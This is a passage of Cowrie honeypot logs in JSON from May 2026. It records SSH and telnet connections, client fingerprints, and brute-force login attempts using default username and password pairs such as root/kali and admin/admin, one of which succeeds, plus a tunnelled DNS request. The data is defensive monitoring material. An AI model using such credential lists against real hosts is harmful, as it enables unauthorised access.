-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:42.044426Z","src_ip":"87.251.64.176","session":"e42af2061ca4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:42.334622Z","src_ip":"87.251.64.176","session":"e42af2061ca4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:42.433677Z","session":"e42af2061ca4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:42.536588Z","src_ip":"87.251.64.176","session":"e42af2061ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:42.637192Z","src_ip":"87.251.64.176","session":"e42af2061ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.994274377822876,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:40:57.032113Z","src_ip":"50.6.8.71","session":"1264a8d02b86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":50846,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c3659ed6507","protocol":"ssh","message":"New connection: 185.236.22.41:50846 (159.203.135.109:22) [session: 1c3659ed6507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:06.097168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:06.102537Z","src_ip":"185.236.22.41","session":"1c3659ed6507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:06.276491Z","src_ip":"185.236.22.41","session":"1c3659ed6507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angela","message":"login attempt [root/angela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:06.638166Z","src_ip":"185.236.22.41","session":"1c3659ed6507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:07.763350Z","src_ip":"185.236.22.41","session":"1c3659ed6507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":37858,"dst_ip":"159.203.135.109","dst_port":22,"session":"87fbdeb79a9f","protocol":"ssh","message":"New connection: 87.106.29.151:37858 (159.203.135.109:22) [session: 87fbdeb79a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:08.812048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:08.819680Z","src_ip":"87.106.29.151","session":"87fbdeb79a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:08.911588Z","src_ip":"87.106.29.151","session":"87fbdeb79a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:09.320779Z","src_ip":"87.106.29.151","session":"87fbdeb79a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:10.415718Z","src_ip":"87.106.29.151","session":"87fbdeb79a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0049295425415,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:30.283430Z","src_ip":"67.222.148.25","session":"19faf65c2f5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46354,"dst_ip":"10.17.0.5","dst_port":23,"session":"298991ad96f4","protocol":"telnet","message":"New connection: 50.6.8.71:46354 (10.17.0.5:23) [session: 298991ad96f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:45.748782Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45934,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ebc475402cd","protocol":"ssh","message":"New connection: 80.94.92.184:45934 (159.203.135.109:22) [session: 2ebc475402cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:50.971821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:51.068566Z","src_ip":"80.94.92.184","session":"2ebc475402cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:51.293251Z","src_ip":"80.94.92.184","session":"2ebc475402cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:52.573445Z","src_ip":"80.94.92.184","session":"2ebc475402cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:41:53.756401Z","src_ip":"80.94.92.184","session":"2ebc475402cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.98329710960388,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:10.017529Z","src_ip":"49.88.156.34","session":"ea8a96fe935c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":40994,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4ccd8d4e09b","protocol":"ssh","message":"New connection: 87.106.29.151:40994 (159.203.135.109:22) [session: b4ccd8d4e09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:13.706506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:13.711398Z","src_ip":"87.106.29.151","session":"b4ccd8d4e09b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:13.804635Z","src_ip":"87.106.29.151","session":"b4ccd8d4e09b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1234","message":"login attempt [administrator/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:14.209946Z","src_ip":"87.106.29.151","session":"b4ccd8d4e09b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":57178,"dst_ip":"159.203.135.109","dst_port":22,"session":"f942832111db","protocol":"ssh","message":"New connection: 103.77.242.62:57178 (159.203.135.109:22) [session: f942832111db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:14.577844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:14.582955Z","src_ip":"103.77.242.62","session":"f942832111db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:14.822464Z","src_ip":"103.77.242.62","session":"f942832111db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:15.305700Z","src_ip":"87.106.29.151","session":"b4ccd8d4e09b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"54321","message":"login attempt [root/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:15.551537Z","src_ip":"103.77.242.62","session":"f942832111db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:16.794260Z","src_ip":"103.77.242.62","session":"f942832111db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.09061241149902,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:17.839293Z","src_ip":"50.6.8.71","session":"298991ad96f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":48348,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc5c6cf92cb1","protocol":"ssh","message":"New connection: 2.57.122.238:48348 (10.17.0.5:22) [session: fc5c6cf92cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:22.609629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:22.614097Z","src_ip":"2.57.122.238","session":"fc5c6cf92cb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:22.713512Z","src_ip":"2.57.122.238","session":"fc5c6cf92cb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:23.011158Z","src_ip":"2.57.122.238","session":"fc5c6cf92cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:24.114402Z","src_ip":"2.57.122.238","session":"fc5c6cf92cb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45548,"dst_ip":"10.17.0.5","dst_port":23,"session":"2279f49e4351","protocol":"telnet","message":"New connection: 50.6.8.71:45548 (10.17.0.5:23) [session: 2279f49e4351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:32.403035Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":51164,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7e96b6106bd","protocol":"ssh","message":"New connection: 109.172.54.111:51164 (159.203.135.109:22) [session: a7e96b6106bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:41.646701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:41.708285Z","src_ip":"109.172.54.111","session":"a7e96b6106bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:41.877607Z","src_ip":"109.172.54.111","session":"a7e96b6106bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazzaq","message":"login attempt [root/qazzaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:42.350773Z","src_ip":"109.172.54.111","session":"a7e96b6106bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:42:43.452036Z","src_ip":"109.172.54.111","session":"a7e96b6106bd","protocol":"ssh"}
